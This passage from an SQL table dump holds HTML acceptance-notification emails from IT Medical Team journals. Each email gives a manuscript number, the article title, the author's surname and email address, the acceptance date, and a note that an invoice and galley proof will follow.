style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-23-13469</b><br />\r\n            <br />\r\n            Article Title: <b>Tendency to deviant reactions on the background of sleep disorders</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Markovsky </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-02-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sorcerer-asy@mail.ru',13469,'2023-02-20',75),(4191,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13506</b><br />\r\n            <br />\r\n            Article Title: <b>Nutraceuticals as a powerful tool for Respiratory Diseases &ndash; an Overview</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Palanivelu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-02-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','psmanikandan12@gmail.com',13506,'2023-02-23',376),(4192,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13506</b><br />\r\n            <br />\r\n            Article Title: <b>Nutraceuticals as a powerful tool for Respiratory Diseases &ndash; an Overview</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Palanivelu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-02-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','psmanikandan12@gmail.com',13506,'2023-02-23',376),(4193,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13509</b><br />\r\n            <br />\r\n            Article Title: <b>Anticancerous Effect of Fruit pulp of Aegle marmelos Against Benzo[A]pyrene Induced Lung Tumours in Rats</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kumar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-02-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drarunk31@gmail.com',13509,'2023-02-25',376),(4194,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13502</b><br />\r\n            <br />\r\n            Article Title: <b>Reflective Practises In Health Care Profession</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>OLANIYI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-03-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Ogundiya2@yahoo.com',13502,'2023-03-06',48),(4195,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-23-13525</b><br />\r\n            <br />\r\n            Article Title: <b>Addictions and psychiatric disorders in patients followed at the Doctor Joseph Guislain Neuropsychiatric Centre in Lubumbashi, series of 112 cases and review of the literature</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mualaba</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-03-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mualabcl01@gmail.com',13525,'2023-03-15',75),(4196,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13555</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge of Referral and Feedback System among Higher Level Health Care Providers in Amhara Region, Northwest Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sisay</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-03-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','agerbefekadu@gmail.com',13555,'2023-03-16',48),(4197,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13555</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge of Referral and Feedback System among Higher Level Health Care Providers in Amhara Region, Northwest Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sisay</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-03-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','agerbefekadu@gmail.com',13555,'2023-03-17',48),(4198,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13501</b><br />\r\n            <br />\r\n            Article Title: <b>Sex Differentiation, Sport Skill Intervention and Physical Fitness Status of in-School  Adolescents in Two Selected High Schools in Nigeria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>OLANIYI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-03-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Ogundiya2@yahoo.com',13501,'2023-03-18',48),(4199,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-23-13540</b><br />\r\n            <br />\r\n            Article Title: <b>SCL6A4 gene variants moderate associations between childhood food insecurity and adolescent mental health</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pilkay</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-03-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','srpilkay@syr.edu',13540,'2023-03-20',75),(4200,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13541</b><br />\r\n            <br />\r\n            Article Title: <b>Aneurysmal cyst: Case report.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>LACHKAR</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-03-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lachkar.amal@gmail.com',13541,'2023-03-21',48),(4201,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13612</b><br />\r\n            <br />\r\n            Article Title: <b>A comparison of the demographics and health systems in 4 Asian countries regarding antenatal care services and the prevalence of low birth weight.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sapkota</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-04-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dahaltshetiz21@gmail.com',13612,'2023-04-20',48),(4202,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13620</b><br />\r\n            <br />\r\n            Article Title: <b>Neurodynamics for motor recovery after stroke, a Review Article</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Zamurd</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-04-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nafeesazamurd93@gmail.com',13620,'2023-04-22',48),(4203,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13651</b><br />\r\n            <br />\r\n            Article Title: <b>Women Workers in Informal Sector in Kashmir: Understanding the Reproductive Health and Occupational Vulnerability of Women Street Vendors in Srinagar</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Din</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-04-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sumiyadin.malik@gmail.com',13651,'2023-04-22',48),(4204,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13689</b><br />\r\n            <br />\r\n            Article Title: <b>Improving linearity in health science Investigations </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chakrabartty</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-04-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Chakrabarttysatyendra139@gmail.com',13689,'2023-04-24',48),(4205,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13477</b><br />\r\n            <br />\r\n            Article Title: <b>Formation of intellectual capital in the face of Covid-19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Carre&oacute;n-Guill&eacute;n</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-04-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bundesnanza@icloud.com',13477,'2023-04-25',48),(4206,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13598</b><br />\r\n            <br />\r\n            Article Title: <b>Meta-analysis of perceptions of occupational risks in the COVID-19 era</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>S&aacute;nchez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-04-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bundestrans@yahoo.com',13598,'2023-04-26',48),(4207,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13652</b><br />\r\n            <br />\r\n            Article Title: <b>Entrepreneurship networks in the Covid-19 era</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Lirios</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br 